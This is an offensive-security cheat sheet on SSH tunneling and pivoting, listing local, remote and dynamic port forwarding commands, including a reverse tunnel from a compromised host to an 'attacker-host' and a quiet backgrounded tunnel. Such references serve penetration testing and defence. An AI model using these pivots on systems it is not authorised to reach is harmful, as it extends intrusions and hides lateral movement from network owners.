SSH Cheat Sheet (Tunneling & Pivoting)

SSH shows up in offensive work less as a login tool and more as a pivoting mechanism — using a compromised host's SSH access to reach a network segment you can't touch directly.

Red Team / Offensive Use

Once you have SSH access to a host that sits on a network segment you can't reach directly, its tunneling features turn that one foothold into access to everything else that host can see. Local, remote, and dynamic port forwarding cover most pivoting scenarios; dynamic forwarding specifically turns a single SSH connection into a SOCKS proxy for arbitrary further traffic, which is usually the most flexible option.

Established Cheatsheet

twelvesec Tunneling and Port Forwarding Cheat Sheet — solid reference covering SSH alongside other pivoting tools (chisel, socat) for when SSH itself isn't an option.

PWNMI's Top 5 Use Cases

• ssh -L 8080:internal-host:80 user@pivot-host — local port forwarding: reach internal-host:80 (only visible from the pivot host) via localhost:8080 on your machine
• ssh -R 9000:127.0.0.1:22 user@attacker-host — remote port forwarding: expose a service on the compromised host back to your attacking machine
• ssh -D 9050 user@pivot-host — dynamic port forwarding; turns the connection into a SOCKS proxy on port 9050, then point proxychains or similar at it for arbitrary traffic through the pivot
• ssh -N -f -L 8080:internal-host:80 user@pivot-host — same as local forwarding, but -N (no remote command) and -f (background) keep it running quietly without an interactive session
• ssh -J user@jump-host user@final-target — jump through an intermediate host in one command, instead of manually chaining separate SSH sessions

Next step

If SSH isn't available on the pivot host, see the chisel cheat sheet — it covers similar tunneling without needing SSH access specifically. For the concepts behind local/remote/dynamic forwarding and when to reach for each, see Pivoting and Tunneling Fundamentals.